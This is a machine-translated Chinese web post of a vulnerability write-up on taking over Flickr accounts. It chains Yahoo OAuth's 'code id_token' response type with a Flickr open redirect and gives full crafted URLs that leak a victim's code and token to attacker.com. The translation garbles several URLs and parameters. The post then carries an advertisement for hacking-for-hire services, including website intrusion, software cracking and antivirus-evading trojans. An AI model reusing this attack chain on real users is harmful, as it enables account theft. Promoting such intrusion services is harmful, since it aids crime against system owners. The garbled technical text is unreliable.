漏洞分析 | 如何利用OAuth错误配置接管Flickr账号

责声明">
Flickr是雅虎拥有的照片和视频共享网站。我想每个人都熟悉它。 Yahoo现在使用OAuth身份验证模式而不是之前的登录方法。作者通过检查登录过程发现了该漏洞。 新的Flickr登录过程 当用户想要登录...
yahooflickrhead.jpg Flickr是雅虎拥有的照片和视频共享网站。我想每个人都熟悉它。 Yahoo现在使用OAuth身份验证模式而不是之前的登录方法。作者通过检查登录过程发现了该漏洞。 新的Flickr登录过程 当用户想要登录Flickr.com时,他们需要单击登录按钮,他们将被重定向到以下链接: https://api.login.yahoo.com/oauth2/request_auth?client_id=dj0yJmk9NTJmMkVmOFo3RUVmJmQ9WVdrOVdXeGhVMWx3TjJFbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD01OA-&redirect_uri=https%3A%2F%2Fwww.flickr.com%2Fsignin%2Fyahoo%2Foauth%2F%3Fredir%3Dhttps%253A%252F%252Fwww .flickr.com%252F%253Fytcheck%253D1%2526new_session%253D1&安培; RESPONSE_TYPE=代码&安培;范围=的OpenID%2Csdpp-W&安培;随机数=bb1c92e088f38e9c323fe025d42c405f&安培;scrumb=jeTYmScEVYq 如果用户未登录Yahoo,则会将其重定向到Yahoo的登录页面。输入用户名和密码后,他们将返回上一个URL。 https://www.flickr.com/signin/yahoo/oauth/?redir=https://www.flickr.com/?ytcheck=1&new_session=1&code={redacted} 接下来,Flickr将在后台交换令牌的Yahoo提供的令牌,然后使用此访问令牌获取用户的数据。 Flickr将让用户登录,然后将它们重定向到url中redir参数指定的URL。 接管Flickr帐户 在测试Yahoo OAuth身份验证时,我看到了这个页面:https://developer.yahoo.com/oauth2/guide/openid_connect/getting_started.html。页面说我们可以设置response_type参数,该参数可以包含多个值。所以我认为检查出来并将参数设置为代码id_token。因此,雅虎没有将代码发送给Flickr,而是将代码和id_token放在URL中: https://www.flickr.com/signin/yahoo/oauth/?redir=https://www.flickr.com/?ytcheck=1&new_session=1#code={redacted}&id_token={redacted} 在处理重定向响应时,实际上保留了url中#后面的部分。有了这个小问题,我们可以将用户的代码参数泄漏到以下参数中指定的任何位置。 但是,当合法代码通过查询字符串传递给服务器时,Flickr仅执行重定向。因此,如果黑客想泄漏代码,它必须使用自己的帐户作为代码并将其发送到url的redirect_uri参数。 现在我们可以通过redir泄漏用户的代码值。但事实上,雅虎将检查网址是否为https://www.flickr.com/*。 因此,为了攻击,我们必须找到一种重定向flickr.com域的开放方式。找到这个并不容易,我最终在使用Flickr Android应用程序时找到了这种重定向方式。我发现如果我们将错误的标记值传递给它的客户端,我们可以通过callback_url参数重定向它。 https://www.flickr.com/sharing_connect.gne?service_type_id=9&token=a&callback_url=https%3A%2F%2F%2Fgoogle.com%2F 我们将它们结合起来,整个攻击过程是: 攻击者使用自己的测试帐户生成Flickr身份验证代码,然后构建以下URL并将其发送给受害者(我们假设attacker.com是攻击者的服务器): https://api.login.yahoo.com/oauth2/request_auth?client_id=dj0yJmk9NTJmMkVmOFo3RUVmJmQ9WVdrOVdXeGhVMWx3TjJFbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD01OA-&redirect_uri=https%3A%2F%2Fwww.flickr.com%2Fsignin%2Fyahoo%2Foauth%2F%3Fcode%3D{here-is-the -attacker's码}%26redir%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsharing_connect.gne%253Fservice_type_id%253D9%2526token%253Da%2526callback_url%253Dhttps%25253A%25252F%25252F%25252Fattacker.com%25252F&安培; RESPONSE_TYPE=代码  id_token& scope=openid%2Csdpp-w& nonce=bb1c92e088f38e9c323fe025d42c405f&scrumb=jeTYmScEVYq 当受害者点击链接时,他们会被重定向到: https://www.flickr.com/signin/yahoo/oauth/?code={here-is-the-attacker's-code}&redir=https%3A%2F%2Fwww.flickr.com%2Fsharing_connect.gne%3Fservice_type_id%3D9 %26token%物3Da%26callback_url%3Dhttps%253A%252F%252F%252Fattacker.com%252F#代码={victim's码}&安培; id_token={victim's-id_token} 这允许攻击者从受害者的浏览器登录到Flickr并将受害者重定向到: https://www.flickr.com/sharing_connect.gne?service_type_id=9&token=a&callback_url=https%3A%2F%2F%2Fattacker.com%2F#code=victim's-code&id_token=victim's-id_token 重定向到: https://attacker.com/#code={victim's-code}&id_token={victim's-id_token} 然后,攻击者可以使用JavaScript在浏览器中提取URL和代码: https://www.flickr.com/signin/yahoo/oauth/?redir=https://www.flickr.com/?ytcheck=1&new_session=1&code={victim's-code} *参考资料来源:TheRegister,作者:Sphinx 黑客业务列表介绍和一般分类: 类别:攻击入侵破解开发 1:攻击业务订单:暂时取消所有此类业务订单[仅销售常规IDC流量] 2:入侵业务清单:包括网站源代码,办公系统,黑色系统,教育系统等。 3:破解业务类:软件,加密文件,二次打包,脱壳等。 4:二次开发业务清单:软件二次开发,源代码二次开发等 5:其他业务订单:特洛伊木马[通过所有防病毒],远程控制,特殊软件等 备注:未提及的业务订单可根据主要类别查询或直接联系客户服务。为避免浪费双方时间,请在咨询前阅读:业务交易流程及相关说明 注意:仅接受正式业务,个人无权接受。收集此内容。
  • 发表于 2017-10-19 08:00
  • 阅读 ( 1286 )
  • 分类:黑客技术

你可能感兴趣的文章

相关问题

0 条评论

请先 登录 后评论
不写代码的码农
黑客

2107 篇文章

作家榜 »

  1. 黑客 2107 文章